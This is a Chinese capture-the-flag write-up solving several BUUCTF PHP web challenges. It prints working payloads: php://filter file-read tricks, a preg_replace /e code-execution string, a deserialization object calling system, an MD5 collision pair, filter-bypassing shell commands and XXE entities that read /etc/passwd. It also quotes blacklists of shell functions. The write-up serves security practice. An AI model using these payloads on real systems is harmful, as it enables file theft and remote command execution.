ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

BUUCTF web(六)

2021-11-25 13:06:24  阅读:143  来源: 互联网

标签:web BUUCTF echo flag func POST php yds


[BJDCTF2020]ZJCTF,不过如此

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

传两个参数text和file,text要包含“I have a dream”,利用data://来绕过。

file=next.php不行,应该是里面有flag字段,所以利用php://filter 绕过第二个参数,用base64输出就不会匹配到了

payload:

?text=data://text/plain,I have a dream&file=php://filter/read/convert.base64-encode/resource=next.php

在这里插入图片描述
base64解一下

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

参考:https://www.cesafe.com/html/6999.html

payload:

\S*=${getFlag()}&cmd=system('cat /flag');

在这里插入图片描述

[BJDCTF2020]Mark loves cat

dirsearch发现git泄露

在这里插入图片描述
githack跑完
在这里插入图片描述
在这里插入图片描述
把flag文件内容赋给$flag

在这里插入图片描述
找到一个比较简单入手的地方

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

会输出 y d s , 而 只 要 g e t 和 p o s t 不 给 f l a g 传 参 就 可 以 了 , 我 们 只 需 要 让 yds,而只要get和post不给flag传参就可以了,我们只需要让 yds,而只要get和post不给flag传参就可以了,我们只需要让yds=$flag就可以了

而这段代码与$yds初始化之间隔了(后面的那个foreach并没有改变变量值)

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

在这两个函数中要使得 y d s = yds= yds=flag

而$ x 可 以 理 解 为 x可以理解为 x可以理解为( x ) , 所 以 直 接 g e t 传 值 y d s = f l a g , 这 样 x),所以直接get传值yds=flag,这样 x),所以直接get传值yds=flag,这样x=yds, y = f l a g , y=flag, y=flag,($x) = ( ( (y)就变成了 y d s = yds= yds=flag

payload1为

?yds=flag

看了别的师傅的wp发现了别的姿势

利用了exit($is)

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

要么post让flag=flag

但是在这里

foreach($_POST as $x => $y){
    $$x = $y;
}

x 为 f l a g , x为flag, x为flag,y为flag,带进去$flag=flag,好,原来的flag被我们整没了,不行。

要么get让flag=flag

foreach($_GET as $x => $y){
    $$x = $$y;
}

x 为 f l a g , x为flag, x为flag,y为flag,带进去 f l a g = flag= flag=flag,嗯,我等于我自己还是我自己,没问题

接下来考虑怎么让 i s = is= is=flag,直接传is=flag

所以payload2:

?flag=flag&is=flag

顺序无所谓

flag在源码里

[网鼎杯 2020 朱雀组]phpweb

抓包康康
在这里插入图片描述
这个函数和参数我们可以利用一下

利用file_get_contents获取index.php的源码

在这里插入图片描述

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

大致逻辑为,request两个参数func和p,func不能在黑名单里,然后执行gettime函数,返回字符串result,call_user_func把前一个传参作为一个函数,后一个传参作为这个要执行函数的参数,并返回执行结果。但是并没有用到Test这个类,于是想到了反序列化

<?php 
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}
class Test {
    var $p = "ls";
    var $func = "system";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$a = new Test();

echo serialize($a);
 ?>

在这里插入图片描述
行得通
在这里插入图片描述
system(‘ls’) : 列举当前目录下的所有文件

system(“find / -name flag*”):查找所有文件名匹配flag*的文件

system(“cat $(find / -name flag**)”):**打印所有文件名匹配flag*的文件

flag在这/tmp/flagoefiu4r93

在这里插入图片描述
拿来吧你

[BSidesCF 2020]Had a bad day

发现index.php?category=woofers

伪协议尝试读取源码(发现不需要加后缀,因为后端会自己接上后缀的)

index.php?category=php://filter/read=convert.base64-encode/resource=index

在这里插入图片描述
base64解一下

             <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

文件包含,利用include特性/index.php?category=woofers/…/flag
在这里插入图片描述
确实有东西变了,但是怎么读取呢

瞟了别的师傅的wp0.0

利用php://filter伪协议可以套一层协议读取flag.php
/index.php?category=php://filter/convert.base64-encode/index/resource=flag
套一个字符index符合条件并且传入flag,读取flag.php
在这里插入图片描述

[安洵杯 2019]easy_web

注意到url中/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

img值经过两次base64解密和16进制转字符后得到555.png

逆推index.php得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

在这里插入图片描述

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

主要代码如下

if(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

因为string把其转化为字符串,所以不能采用传数组的方式绕过

MD5强碰撞

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

这里我弄了半天没出来,原来需要加一个字段

Content-Type:application/x-www-form-urlencoded

但是这玩意不应该是浏览器默认的吗????为什么要我自己加呢?????浪费我半天时间

再看上面的正则匹配

虽然过滤了ls但是可以用dir
在这里插入图片描述
没有,应该在根目录里,反斜杠绕过

ca\t 下行尾输\可以换行并且继续输入命令

在这里插入图片描述
看了下别的师傅的wp,这里还可以用sort,把每行按序输出,一样的

[NCTF2019]Fake XML cookbook

看题目,XXE注入,即XML External Entity,XML外部实体注入。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

构造攻击:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123456</password></user>

在这里插入图片描述
尝试读取flag

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

在这里插入图片描述
拿来吧你

参考:https://www.cnblogs.com/backlion/p/9302528.html

标签:web,BUUCTF,echo,flag,func,POST,php,yds
来源: https://blog.csdn.net/m0_46616663/article/details/121535072

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有